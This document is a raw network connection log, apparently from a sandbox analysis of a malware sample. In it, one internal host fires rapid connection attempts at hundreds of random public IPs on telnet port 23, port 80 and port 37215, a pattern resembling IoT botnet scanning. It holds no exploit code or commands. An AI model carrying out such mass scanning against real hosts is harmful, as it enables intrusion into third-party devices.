Oct 14, 2024 17:34:11.999207020 CEST	53512	37215	192.168.2.14	156.160.223.165
Oct 14, 2024 17:34:11.999337912 CEST	38196	80	192.168.2.14	223.97.180.227
Oct 14, 2024 17:34:12.000384092 CEST	40778	23	192.168.2.14	143.43.132.65
Oct 14, 2024 17:34:12.002257109 CEST	53906	80	192.168.2.14	134.100.91.77
Oct 14, 2024 17:34:12.002860069 CEST	60192	37215	192.168.2.14	41.30.134.63
Oct 14, 2024 17:34:12.004477024 CEST	49994	23	192.168.2.14	212.49.61.57
Oct 14, 2024 17:34:12.006158113 CEST	23	40778	143.43.132.65	192.168.2.14
Oct 14, 2024 17:34:12.006196022 CEST	40778	23	192.168.2.14	143.43.132.65
Oct 14, 2024 17:34:12.006402016 CEST	37670	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:12.006700993 CEST	35360	80	192.168.2.14	88.17.169.94
Oct 14, 2024 17:34:12.009274960 CEST	43130	23	192.168.2.14	192.30.251.198
Oct 14, 2024 17:34:12.010529041 CEST	35614	80	192.168.2.14	147.133.121.129
Oct 14, 2024 17:34:12.010932922 CEST	37900	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:12.013051987 CEST	58454	23	192.168.2.14	131.121.239.219
Oct 14, 2024 17:34:12.014251947 CEST	50408	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:12.015027046 CEST	37680	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:12.016518116 CEST	51930	23	192.168.2.14	160.6.111.25
Oct 14, 2024 17:34:12.017754078 CEST	57880	80	192.168.2.14	141.245.229.176
Oct 14, 2024 17:34:12.017931938 CEST	23	58454	131.121.239.219	192.168.2.14
Oct 14, 2024 17:34:12.017983913 CEST	58454	23	192.168.2.14	131.121.239.219
Oct 14, 2024 17:34:12.019275904 CEST	54334	37215	192.168.2.14	41.197.118.7
Oct 14, 2024 17:34:12.020176888 CEST	40418	23	192.168.2.14	96.21.184.87
Oct 14, 2024 17:34:12.021064043 CEST	49530	80	192.168.2.14	103.190.193.46
Oct 14, 2024 17:34:12.022232056 CEST	36176	37215	192.168.2.14	41.55.52.208
Oct 14, 2024 17:34:12.022797108 CEST	39028	23	192.168.2.14	178.232.3.196
Oct 14, 2024 17:34:12.023617983 CEST	50884	80	192.168.2.14	83.75.118.219
Oct 14, 2024 17:34:12.025113106 CEST	23	40418	96.21.184.87	192.168.2.14
Oct 14, 2024 17:34:12.025171041 CEST	40418	23	192.168.2.14	96.21.184.87
Oct 14, 2024 17:34:12.025727034 CEST	40210	23	192.168.2.14	66.202.147.152
Oct 14, 2024 17:34:12.025824070 CEST	54290	37215	192.168.2.14	197.81.80.21
Oct 14, 2024 17:34:12.026874065 CEST	52634	80	192.168.2.14	25.150.151.44
Oct 14, 2024 17:34:12.029019117 CEST	54980	23	192.168.2.14	206.60.64.183
Oct 14, 2024 17:34:12.029284954 CEST	56922	37215	192.168.2.14	197.239.93.184
Oct 14, 2024 17:34:12.030206919 CEST	51924	80	192.168.2.14	61.0.111.114
Oct 14, 2024 17:34:12.032193899 CEST	48850	23	192.168.2.14	124.236.254.132
Oct 14, 2024 17:34:12.033129930 CEST	38150	37215	192.168.2.14	41.91.24.44
Oct 14, 2024 17:34:12.033421993 CEST	53882	80	192.168.2.14	34.0.0.31
Oct 14, 2024 17:34:12.035284996 CEST	37472	23	192.168.2.14	132.11.128.12
Oct 14, 2024 17:34:12.036226988 CEST	60196	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:12.037090063 CEST	33454	23	192.168.2.14	94.125.234.202
Oct 14, 2024 17:34:12.037136078 CEST	23	48850	124.236.254.132	192.168.2.14
Oct 14, 2024 17:34:12.037205935 CEST	48850	23	192.168.2.14	124.236.254.132
Oct 14, 2024 17:34:12.038259983 CEST	53008	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:12.038808107 CEST	58270	23	192.168.2.14	89.62.210.100
Oct 14, 2024 17:34:12.040056944 CEST	53944	37215	192.168.2.14	156.40.168.169
Oct 14, 2024 17:34:12.040846109 CEST	36954	23	192.168.2.14	205.224.32.125
Oct 14, 2024 17:34:12.042200089 CEST	57674	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:12.042628050 CEST	35680	23	192.168.2.14	83.41.251.122
Oct 14, 2024 17:34:12.044630051 CEST	47520	37215	192.168.2.14	41.32.217.117
Oct 14, 2024 17:34:12.044926882 CEST	37215	53944	156.40.168.169	192.168.2.14
Oct 14, 2024 17:34:12.044961929 CEST	55172	23	192.168.2.14	144.138.72.33
Oct 14, 2024 17:34:12.044981003 CEST	53944	37215	192.168.2.14	156.40.168.169
Oct 14, 2024 17:34:12.046639919 CEST	41634	37215	192.168.2.14	41.238.41.114
Oct 14, 2024 17:34:12.046742916 CEST	59790	23	192.168.2.14	140.233.9.116
Oct 14, 2024 17:34:12.049010992 CEST	46164	80	192.168.2.14	145.51.2.149
Oct 14, 2024 17:34:12.049334049 CEST	54764	23	192.168.2.14	161.200.252.117
Oct 14, 2024 17:34:12.049633026 CEST	41834	37215	192.168.2.14	197.189.220.157
Oct 14, 2024 17:34:12.051476002 CEST	34242	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:12.052573919 CEST	58448	23	192.168.2.14	102.207.18.216
Oct 14, 2024 17:34:12.052823067 CEST	53066	37215	192.168.2.14	197.117.165.145
Oct 14, 2024 17:34:12.054765940 CEST	46412	80	192.168.2.14	94.52.242.89
Oct 14, 2024 17:34:12.055686951 CEST	52868	37215	192.168.2.14	156.45.65.139
Oct 14, 2024 17:34:12.056102991 CEST	59338	23	192.168.2.14	119.131.38.32
Oct 14, 2024 17:34:12.056521893 CEST	80	34242	50.84.44.219	192.168.2.14
Oct 14, 2024 17:34:12.056564093 CEST	34242	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:12.057467937 CEST	55774	80	192.168.2.14	223.90.175.17
Oct 14, 2024 17:34:12.058716059 CEST	54188	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:12.059411049 CEST	53980	23	192.168.2.14	44.235.191.245
Oct 14, 2024 17:34:12.060549021 CEST	56102	80	192.168.2.14	78.198.116.91
Oct 14, 2024 17:34:12.061522007 CEST	34394	23	192.168.2.14	153.60.52.206
Oct 14, 2024 17:34:12.062696934 CEST	43232	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:12.064142942 CEST	47610	23	192.168.2.14	93.229.65.224
Oct 14, 2024 17:34:12.064246893 CEST	23	53980	44.235.191.245	192.168.2.14
Oct 14, 2024 17:34:12.064310074 CEST	53980	23	192.168.2.14	44.235.191.245
Oct 14, 2024 17:34:12.064979076 CEST	48840	80	192.168.2.14	36.90.161.9
Oct 14, 2024 17:34:12.066137075 CEST	55178	23	192.168.2.14	221.93.109.237
Oct 14, 2024 17:34:12.066989899 CEST	33808	80	192.168.2.14	154.40.52.245
Oct 14, 2024 17:34:12.068506002 CEST	54242	23	192.168.2.14	195.166.140.123
Oct 14, 2024 17:34:12.069797993 CEST	46852	80	192.168.2.14	53.212.153.150
Oct 14, 2024 17:34:12.070796967 CEST	60854	23	192.168.2.14	175.21.244.183
Oct 14, 2024 17:34:12.071693897 CEST	37868	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:12.073263884 CEST	43970	23	192.168.2.14	132.214.232.254
Oct 14, 2024 17:34:12.074178934 CEST	43984	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:12.075246096 CEST	42934	23	192.168.2.14	125.231.51.7
Oct 14, 2024 17:34:12.076090097 CEST	38936	80	192.168.2.14	46.213.133.53
Oct 14, 2024 17:34:12.076630116 CEST	80	37868	219.61.31.247	192.168.2.14
Oct 14, 2024 17:34:12.076742887 CEST	37868	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:12.077491999 CEST	60502	37215	192.168.2.14	41.70.210.88
Oct 14, 2024 17:34:12.078672886 CEST	55928	23	192.168.2.14	74.170.177.152
Oct 14, 2024 17:34:12.079757929 CEST	44948	80	192.168.2.14	36.186.91.48
Oct 14, 2024 17:34:12.080748081 CEST	41404	37215	192.168.2.14	41.107.231.21
Oct 14, 2024 17:34:12.081141949 CEST	52044	23	192.168.2.14	132.40.143.87
Oct 14, 2024 17:34:12.082376003 CEST	48088	80	192.168.2.14	114.168.32.232
Oct 14, 2024 17:34:12.083425999 CEST	43848	37215	192.168.2.14	156.124.95.95
Oct 14, 2024 17:34:12.084580898 CEST	53744	23	192.168.2.14	94.209.198.224
Oct 14, 2024 17:34:12.084594965 CEST	80	44948	36.186.91.48	192.168.2.14
Oct 14, 2024 17:34:12.084640980 CEST	44948	80	192.168.2.14	36.186.91.48
Oct 14, 2024 17:34:12.087523937 CEST	35766	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:12.088486910 CEST	41040	37215	192.168.2.14	41.173.234.214
Oct 14, 2024 17:34:12.088821888 CEST	53298	23	192.168.2.14	31.198.111.132
Oct 14, 2024 17:34:12.091523886 CEST	46386	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:12.093029976 CEST	47558	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:12.093246937 CEST	39070	23	192.168.2.14	99.38.14.214
Oct 14, 2024 17:34:12.095103025 CEST	55334	80	192.168.2.14	125.205.39.142
Oct 14, 2024 17:34:12.095779896 CEST	46904	23	192.168.2.14	196.106.143.157
Oct 14, 2024 17:34:12.096139908 CEST	48938	37215	192.168.2.14	156.56.92.171
Oct 14, 2024 17:34:12.097506046 CEST	80	46386	166.225.45.181	192.168.2.14
Oct 14, 2024 17:34:12.097551107 CEST	46386	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:12.098543882 CEST	55298	80	192.168.2.14	120.235.153.226
Oct 14, 2024 17:34:12.098834991 CEST	60846	23	192.168.2.14	57.209.188.68
Oct 14, 2024 17:34:12.099450111 CEST	59988	37215	192.168.2.14	197.8.124.136
Oct 14, 2024 17:34:12.102298975 CEST	55360	23	192.168.2.14	107.127.44.94
Oct 14, 2024 17:34:12.102401018 CEST	49420	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:12.103610992 CEST	43342	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:12.104857922 CEST	37215	59988	197.8.124.136	192.168.2.14
Oct 14, 2024 17:34:12.104899883 CEST	59988	37215	192.168.2.14	197.8.124.136
Oct 14, 2024 17:34:12.105756044 CEST	43188	23	192.168.2.14	158.40.178.180
Oct 14, 2024 17:34:12.106113911 CEST	56930	80	192.168.2.14	162.75.203.19
Oct 14, 2024 17:34:12.107125044 CEST	57364	37215	192.168.2.14	197.240.59.231
Oct 14, 2024 17:34:12.108355045 CEST	35152	23	192.168.2.14	182.239.10.92
Oct 14, 2024 17:34:12.109627962 CEST	51692	80	192.168.2.14	179.94.112.177
Oct 14, 2024 17:34:12.110929012 CEST	41190	37215	192.168.2.14	156.36.202.204
Oct 14, 2024 17:34:12.112138033 CEST	39482	23	192.168.2.14	38.138.250.185
Oct 14, 2024 17:34:12.112643957 CEST	53194	80	192.168.2.14	139.135.199.65
Oct 14, 2024 17:34:12.114590883 CEST	49336	37215	192.168.2.14	156.120.9.252
Oct 14, 2024 17:34:12.114938021 CEST	34730	23	192.168.2.14	211.30.55.68
Oct 14, 2024 17:34:12.115716934 CEST	44804	80	192.168.2.14	124.132.203.192
Oct 14, 2024 17:34:12.117686987 CEST	57748	37215	192.168.2.14	156.194.35.155
Oct 14, 2024 17:34:12.118033886 CEST	23	39482	38.138.250.185	192.168.2.14
Oct 14, 2024 17:34:12.118180037 CEST	38542	23	192.168.2.14	111.156.255.9
Oct 14, 2024 17:34:12.118180037 CEST	39482	23	192.168.2.14	38.138.250.185
Oct 14, 2024 17:34:12.118544102 CEST	57628	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:12.121042013 CEST	47182	23	192.168.2.14	58.163.235.111
Oct 14, 2024 17:34:12.121545076 CEST	43734	37215	192.168.2.14	156.187.172.121
Oct 14, 2024 17:34:12.122030020 CEST	43112	80	192.168.2.14	196.255.195.209
Oct 14, 2024 17:34:12.124418020 CEST	42416	23	192.168.2.14	149.0.234.84
Oct 14, 2024 17:34:12.124923944 CEST	48762	37215	192.168.2.14	41.43.52.119
Oct 14, 2024 17:34:12.125267029 CEST	50000	80	192.168.2.14	25.113.143.7
Oct 14, 2024 17:34:12.126588106 CEST	43774	23	192.168.2.14	42.80.55.218
Oct 14, 2024 17:34:12.126871109 CEST	23	47182	58.163.235.111	192.168.2.14
Oct 14, 2024 17:34:12.126931906 CEST	47182	23	192.168.2.14	58.163.235.111
Oct 14, 2024 17:34:12.127691031 CEST	48562	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:12.127829075 CEST	59762	37215	192.168.2.14	41.249.65.64
Oct 14, 2024 17:34:12.129991055 CEST	38518	23	192.168.2.14	79.95.164.75
Oct 14, 2024 17:34:12.130645037 CEST	49622	37215	192.168.2.14	41.123.46.174
Oct 14, 2024 17:34:12.131053925 CEST	46404	80	192.168.2.14	130.62.37.57
Oct 14, 2024 17:34:12.133446932 CEST	50262	23	192.168.2.14	197.50.129.162
Oct 14, 2024 17:34:12.135555029 CEST	55736	37215	192.168.2.14	156.179.106.41
Oct 14, 2024 17:34:12.137105942 CEST	39880	80	192.168.2.14	125.154.218.151
Oct 14, 2024 17:34:12.138211012 CEST	23	50262	197.50.129.162	192.168.2.14
Oct 14, 2024 17:34:12.138251066 CEST	50262	23	192.168.2.14	197.50.129.162
Oct 14, 2024 17:34:12.138993025 CEST	45262	23	192.168.2.14	131.214.80.119
Oct 14, 2024 17:34:12.141143084 CEST	35656	37215	192.168.2.14	197.252.249.212
Oct 14, 2024 17:34:12.141752005 CEST	39042	80	192.168.2.14	71.35.129.124
Oct 14, 2024 17:34:12.142468929 CEST	50920	23	192.168.2.14	162.232.220.253
Oct 14, 2024 17:34:12.145500898 CEST	35202	37215	192.168.2.14	41.125.165.215
Oct 14, 2024 17:34:12.146284103 CEST	38720	80	192.168.2.14	119.219.139.178
Oct 14, 2024 17:34:12.146641970 CEST	37215	35656	197.252.249.212	192.168.2.14
Oct 14, 2024 17:34:12.146780014 CEST	35656	37215	192.168.2.14	197.252.249.212
Oct 14, 2024 17:34:12.147203922 CEST	33124	23	192.168.2.14	202.97.41.192
Oct 14, 2024 17:34:12.150314093 CEST	33446	37215	192.168.2.14	156.129.238.207
Oct 14, 2024 17:34:12.150799036 CEST	38340	23	192.168.2.14	125.173.163.175
Oct 14, 2024 17:34:12.150938034 CEST	55784	80	192.168.2.14	179.135.69.78
Oct 14, 2024 17:34:12.153875113 CEST	35890	37215	192.168.2.14	156.136.127.182
Oct 14, 2024 17:34:12.154144049 CEST	32856	23	192.168.2.14	65.131.60.201
Oct 14, 2024 17:34:12.154392004 CEST	60896	80	192.168.2.14	87.235.146.102
Oct 14, 2024 17:34:12.156980038 CEST	48400	23	192.168.2.14	221.54.208.3
Oct 14, 2024 17:34:12.158555031 CEST	56900	37215	192.168.2.14	41.249.143.173
Oct 14, 2024 17:34:12.158929110 CEST	37215	35890	156.136.127.182	192.168.2.14
Oct 14, 2024 17:34:12.158971071 CEST	35890	37215	192.168.2.14	156.136.127.182
Oct 14, 2024 17:34:12.159040928 CEST	33648	80	192.168.2.14	210.227.107.79
Oct 14, 2024 17:34:12.161995888 CEST	54964	23	192.168.2.14	81.171.195.2
Oct 14, 2024 17:34:12.162643909 CEST	37164	37215	192.168.2.14	41.40.38.157
Oct 14, 2024 17:34:12.163431883 CEST	56710	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:12.165600061 CEST	35998	23	192.168.2.14	183.129.63.177
Oct 14, 2024 17:34:12.166985035 CEST	23	54964	81.171.195.2	192.168.2.14
Oct 14, 2024 17:34:12.167026997 CEST	54964	23	192.168.2.14	81.171.195.2
Oct 14, 2024 17:34:12.167442083 CEST	36408	37215	192.168.2.14	156.251.221.106
Oct 14, 2024 17:34:12.168555975 CEST	42636	80	192.168.2.14	220.113.62.119
Oct 14, 2024 17:34:12.171082020 CEST	57352	23	192.168.2.14	100.30.227.235
Oct 14, 2024 17:34:12.171664953 CEST	50332	37215	192.168.2.14	41.45.164.216
Oct 14, 2024 17:34:12.172782898 CEST	35018	80	192.168.2.14	103.139.150.139
Oct 14, 2024 17:34:12.175647020 CEST	48844	37215	192.168.2.14	156.234.55.245
Oct 14, 2024 17:34:12.175751925 CEST	48324	80	192.168.2.14	115.47.248.251
Oct 14, 2024 17:34:12.176712036 CEST	37215	50332	41.45.164.216	192.168.2.14
Oct 14, 2024 17:34:12.176759958 CEST	50332	37215	192.168.2.14	41.45.164.216
Oct 14, 2024 17:34:12.178026915 CEST	41150	80	192.168.2.14	45.86.215.195
Oct 14, 2024 17:34:12.178123951 CEST	42784	37215	192.168.2.14	41.194.65.164
Oct 14, 2024 17:34:12.180959940 CEST	59418	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:12.181042910 CEST	58722	37215	192.168.2.14	197.46.174.232
Oct 14, 2024 17:34:12.183173895 CEST	41824	80	192.168.2.14	194.205.16.227
Oct 14, 2024 17:34:12.183291912 CEST	37042	37215	192.168.2.14	156.237.87.22
Oct 14, 2024 17:34:12.185520887 CEST	55862	80	192.168.2.14	77.159.29.87
Oct 14, 2024 17:34:12.186110020 CEST	50272	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:12.186110020 CEST	80	59418	125.113.141.16	192.168.2.14
Oct 14, 2024 17:34:12.186153889 CEST	59418	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:12.187664032 CEST	47410	80	192.168.2.14	95.47.200.226
Oct 14, 2024 17:34:12.188488007 CEST	33586	37215	192.168.2.14	41.22.70.86
Oct 14, 2024 17:34:12.188606977 CEST	36130	23	192.168.2.14	59.181.204.184
Oct 14, 2024 17:34:12.190957069 CEST	45946	80	192.168.2.14	213.100.205.114
Oct 14, 2024 17:34:12.191703081 CEST	57260	23	192.168.2.14	152.188.125.227
Oct 14, 2024 17:34:12.192074060 CEST	57624	37215	192.168.2.14	156.255.41.208
Oct 14, 2024 17:34:12.194289923 CEST	29508	23	192.168.2.14	87.6.30.185
Oct 14, 2024 17:34:12.194298983 CEST	29508	23	192.168.2.14	125.185.209.216
Oct 14, 2024 17:34:12.194308043 CEST	29508	23	192.168.2.14	40.152.54.223
Oct 14, 2024 17:34:12.194308996 CEST	29508	23	192.168.2.14	223.203.103.12
Oct 14, 2024 17:34:12.194308996 CEST	29508	23	192.168.2.14	72.247.228.186
Oct 14, 2024 17:34:12.194308996 CEST	29508	23	192.168.2.14	219.157.42.98
Oct 14, 2024 17:34:12.194308996 CEST	29508	23	192.168.2.14	164.156.227.92
Oct 14, 2024 17:34:12.194309950 CEST	29508	23	192.168.2.14	96.27.10.89
Oct 14, 2024 17:34:12.194309950 CEST	29508	23	192.168.2.14	221.134.140.67
Oct 14, 2024 17:34:12.194314957 CEST	29508	23	192.168.2.14	36.0.202.254
Oct 14, 2024 17:34:12.194315910 CEST	29508	23	192.168.2.14	51.119.91.219
Oct 14, 2024 17:34:12.194319010 CEST	29508	23	192.168.2.14	27.240.80.147
Oct 14, 2024 17:34:12.194324970 CEST	29508	23	192.168.2.14	220.54.185.157
Oct 14, 2024 17:34:12.194328070 CEST	29508	23	192.168.2.14	197.153.218.90
Oct 14, 2024 17:34:12.194328070 CEST	29508	23	192.168.2.14	77.202.254.241
Oct 14, 2024 17:34:12.194331884 CEST	29508	23	192.168.2.14	14.179.162.120
Oct 14, 2024 17:34:12.194331884 CEST	29508	23	192.168.2.14	154.93.202.146
Oct 14, 2024 17:34:12.194333076 CEST	29508	23	192.168.2.14	67.7.215.97
Oct 14, 2024 17:34:12.194344997 CEST	29508	23	192.168.2.14	104.73.227.94
Oct 14, 2024 17:34:12.194354057 CEST	29508	23	192.168.2.14	176.75.100.122
Oct 14, 2024 17:34:12.194355965 CEST	29508	23	192.168.2.14	179.29.79.5
Oct 14, 2024 17:34:12.194355965 CEST	29508	23	192.168.2.14	122.242.124.148
Oct 14, 2024 17:34:12.194361925 CEST	29508	23	192.168.2.14	85.8.83.188
Oct 14, 2024 17:34:12.194360971 CEST	29508	23	192.168.2.14	80.155.63.22
Oct 14, 2024 17:34:12.194361925 CEST	29508	23	192.168.2.14	201.59.226.198
Oct 14, 2024 17:34:12.194364071 CEST	29508	23	192.168.2.14	25.7.240.193
Oct 14, 2024 17:34:12.194367886 CEST	29508	23	192.168.2.14	62.56.56.181
Oct 14, 2024 17:34:12.194371939 CEST	29508	23	192.168.2.14	134.83.134.164
Oct 14, 2024 17:34:12.194380045 CEST	29508	23	192.168.2.14	200.160.42.49
Oct 14, 2024 17:34:12.194380045 CEST	29508	23	192.168.2.14	183.78.185.18
Oct 14, 2024 17:34:12.194384098 CEST	29508	23	192.168.2.14	207.50.220.185
Oct 14, 2024 17:34:12.194384098 CEST	29508	23	192.168.2.14	114.178.111.48
Oct 14, 2024 17:34:12.194386959 CEST	29508	23	192.168.2.14	63.25.169.231
Oct 14, 2024 17:34:12.194386959 CEST	29508	23	192.168.2.14	118.206.61.47
Oct 14, 2024 17:34:12.194387913 CEST	29508	23	192.168.2.14	141.104.14.70
Oct 14, 2024 17:34:12.194391012 CEST	29508	23	192.168.2.14	84.131.237.254
Oct 14, 2024 17:34:12.194391012 CEST	29508	23	192.168.2.14	38.235.213.198
Oct 14, 2024 17:34:12.194394112 CEST	29508	23	192.168.2.14	18.91.95.149
Oct 14, 2024 17:34:12.194399118 CEST	29508	23	192.168.2.14	163.117.231.235
Oct 14, 2024 17:34:12.194399118 CEST	29508	23	192.168.2.14	17.45.240.36
Oct 14, 2024 17:34:12.194411039 CEST	29508	23	192.168.2.14	38.124.243.152
Oct 14, 2024 17:34:12.194413900 CEST	29508	23	192.168.2.14	170.121.23.236
Oct 14, 2024 17:34:12.194415092 CEST	29508	23	192.168.2.14	184.11.74.218
Oct 14, 2024 17:34:12.194415092 CEST	29508	23	192.168.2.14	90.2.135.149
Oct 14, 2024 17:34:12.194418907 CEST	29508	23	192.168.2.14	134.13.13.134
Oct 14, 2024 17:34:12.194426060 CEST	29508	23	192.168.2.14	121.198.235.153
Oct 14, 2024 17:34:12.194426060 CEST	29508	23	192.168.2.14	18.209.167.219
Oct 14, 2024 17:34:12.194432020 CEST	29508	23	192.168.2.14	160.209.96.148
Oct 14, 2024 17:34:12.194438934 CEST	29508	23	192.168.2.14	51.151.26.7
Oct 14, 2024 17:34:12.194438934 CEST	29508	23	192.168.2.14	32.193.95.4
Oct 14, 2024 17:34:12.194441080 CEST	29508	23	192.168.2.14	23.217.203.122
Oct 14, 2024 17:34:12.194452047 CEST	29508	23	192.168.2.14	130.170.228.163
Oct 14, 2024 17:34:12.194453001 CEST	29508	23	192.168.2.14	37.98.73.219
Oct 14, 2024 17:34:12.194453955 CEST	29508	23	192.168.2.14	114.25.179.194
Oct 14, 2024 17:34:12.194453955 CEST	29508	23	192.168.2.14	37.123.149.55
Oct 14, 2024 17:34:12.194457054 CEST	29508	23	192.168.2.14	149.230.15.194
Oct 14, 2024 17:34:12.194457054 CEST	29508	23	192.168.2.14	194.242.18.1
Oct 14, 2024 17:34:12.194457054 CEST	29508	23	192.168.2.14	45.44.37.111
Oct 14, 2024 17:34:12.194457054 CEST	29508	23	192.168.2.14	156.211.193.115
Oct 14, 2024 17:34:12.194459915 CEST	29508	23	192.168.2.14	65.174.50.251
Oct 14, 2024 17:34:12.194459915 CEST	29508	23	192.168.2.14	36.197.20.48
Oct 14, 2024 17:34:12.194472075 CEST	29508	23	192.168.2.14	130.213.21.144
Oct 14, 2024 17:34:12.194472075 CEST	29508	23	192.168.2.14	221.229.47.87
Oct 14, 2024 17:34:12.194474936 CEST	29508	23	192.168.2.14	210.48.73.176
Oct 14, 2024 17:34:12.194475889 CEST	29508	23	192.168.2.14	153.176.147.192
Oct 14, 2024 17:34:12.194474936 CEST	29508	23	192.168.2.14	96.129.194.195
Oct 14, 2024 17:34:12.194475889 CEST	29508	23	192.168.2.14	166.126.9.203
Oct 14, 2024 17:34:12.194478035 CEST	29508	23	192.168.2.14	18.253.230.174
Oct 14, 2024 17:34:12.194474936 CEST	29508	23	192.168.2.14	46.34.67.198
Oct 14, 2024 17:34:12.194490910 CEST	29508	23	192.168.2.14	37.75.153.31
Oct 14, 2024 17:34:12.194490910 CEST	29508	23	192.168.2.14	217.105.71.32
Oct 14, 2024 17:34:12.194490910 CEST	29508	23	192.168.2.14	142.86.172.208
Oct 14, 2024 17:34:12.194492102 CEST	29508	23	192.168.2.14	74.182.146.149
Oct 14, 2024 17:34:12.194490910 CEST	29508	23	192.168.2.14	154.0.176.146
Oct 14, 2024 17:34:12.194492102 CEST	29508	23	192.168.2.14	98.175.123.33
Oct 14, 2024 17:34:12.194492102 CEST	29508	23	192.168.2.14	83.78.252.223
Oct 14, 2024 17:34:12.194493055 CEST	29508	23	192.168.2.14	132.32.221.171
Oct 14, 2024 17:34:12.194490910 CEST	29508	23	192.168.2.14	208.29.210.213
Oct 14, 2024 17:34:12.194492102 CEST	29508	23	192.168.2.14	199.11.95.211
Oct 14, 2024 17:34:12.194490910 CEST	29508	23	192.168.2.14	172.98.167.204
Oct 14, 2024 17:34:12.194493055 CEST	29508	23	192.168.2.14	207.35.24.215
Oct 14, 2024 17:34:12.194500923 CEST	29508	23	192.168.2.14	188.204.213.181
Oct 14, 2024 17:34:12.194508076 CEST	29508	23	192.168.2.14	152.187.183.46
Oct 14, 2024 17:34:12.194509029 CEST	29508	23	192.168.2.14	14.115.159.113
Oct 14, 2024 17:34:12.194509029 CEST	29508	23	192.168.2.14	222.167.43.247
Oct 14, 2024 17:34:12.194509029 CEST	29508	23	192.168.2.14	197.238.185.94
Oct 14, 2024 17:34:12.194525957 CEST	29508	23	192.168.2.14	57.229.98.112
Oct 14, 2024 17:34:12.194528103 CEST	29508	23	192.168.2.14	74.128.172.109
Oct 14, 2024 17:34:12.194528103 CEST	29508	23	192.168.2.14	92.216.52.101
Oct 14, 2024 17:34:12.194526911 CEST	29508	23	192.168.2.14	216.209.164.20
Oct 14, 2024 17:34:12.194528103 CEST	29508	23	192.168.2.14	132.11.233.6
Oct 14, 2024 17:34:12.194526911 CEST	29508	23	192.168.2.14	82.211.188.52
Oct 14, 2024 17:34:12.194529057 CEST	29508	23	192.168.2.14	69.138.166.111
Oct 14, 2024 17:34:12.194526911 CEST	29508	23	192.168.2.14	100.25.114.220
Oct 14, 2024 17:34:12.194530010 CEST	29508	23	192.168.2.14	194.87.26.47
Oct 14, 2024 17:34:12.194529057 CEST	29508	23	192.168.2.14	186.174.80.61
Oct 14, 2024 17:34:12.194529057 CEST	29508	23	192.168.2.14	199.50.152.223
Oct 14, 2024 17:34:12.194533110 CEST	29508	23	192.168.2.14	25.250.156.40
Oct 14, 2024 17:34:12.194529057 CEST	29508	23	192.168.2.14	138.221.132.57
Oct 14, 2024 17:34:12.194531918 CEST	29508	23	192.168.2.14	45.136.175.14
Oct 14, 2024 17:34:12.194531918 CEST	29508	23	192.168.2.14	66.87.223.163
Oct 14, 2024 17:34:12.194531918 CEST	29508	23	192.168.2.14	62.251.179.47
Oct 14, 2024 17:34:12.194541931 CEST	29508	23	192.168.2.14	12.248.81.171
Oct 14, 2024 17:34:12.194549084 CEST	29508	23	192.168.2.14	36.101.227.69
Oct 14, 2024 17:34:12.194549084 CEST	29508	23	192.168.2.14	98.140.25.215
Oct 14, 2024 17:34:12.194550037 CEST	29508	23	192.168.2.14	207.17.68.15
Oct 14, 2024 17:34:12.194550991 CEST	29508	23	192.168.2.14	115.108.237.45
Oct 14, 2024 17:34:12.194550991 CEST	29508	23	192.168.2.14	194.79.99.156
Oct 14, 2024 17:34:12.194554090 CEST	29508	23	192.168.2.14	65.125.147.104
Oct 14, 2024 17:34:12.194554090 CEST	29508	23	192.168.2.14	32.251.245.15
Oct 14, 2024 17:34:12.194556952 CEST	29508	23	192.168.2.14	90.16.86.151
Oct 14, 2024 17:34:12.194556952 CEST	29508	23	192.168.2.14	135.54.135.10
Oct 14, 2024 17:34:12.194561005 CEST	29508	23	192.168.2.14	79.77.240.56
Oct 14, 2024 17:34:12.194571972 CEST	29508	23	192.168.2.14	43.63.22.241
Oct 14, 2024 17:34:12.194571972 CEST	29508	23	192.168.2.14	185.58.160.207
Oct 14, 2024 17:34:12.194575071 CEST	29508	23	192.168.2.14	202.87.88.47
Oct 14, 2024 17:34:12.194575071 CEST	29508	23	192.168.2.14	142.156.176.130
Oct 14, 2024 17:34:12.194575071 CEST	29508	23	192.168.2.14	71.110.215.39
Oct 14, 2024 17:34:12.194575071 CEST	29508	23	192.168.2.14	23.126.179.23
Oct 14, 2024 17:34:12.194576025 CEST	29508	23	192.168.2.14	42.234.14.70
Oct 14, 2024 17:34:12.194575071 CEST	29508	23	192.168.2.14	157.9.100.188
Oct 14, 2024 17:34:12.194576979 CEST	29508	23	192.168.2.14	119.124.49.73
Oct 14, 2024 17:34:12.194578886 CEST	29508	23	192.168.2.14	63.179.45.188
Oct 14, 2024 17:34:12.194576025 CEST	29508	23	192.168.2.14	65.211.236.75
Oct 14, 2024 17:34:12.194576979 CEST	29508	23	192.168.2.14	24.204.180.122
Oct 14, 2024 17:34:12.194578886 CEST	29508	23	192.168.2.14	199.73.235.82
Oct 14, 2024 17:34:12.194576979 CEST	29508	23	192.168.2.14	128.133.34.148
Oct 14, 2024 17:34:12.194576025 CEST	29508	23	192.168.2.14	95.112.45.21
Oct 14, 2024 17:34:12.194578886 CEST	29508	23	192.168.2.14	211.57.16.35
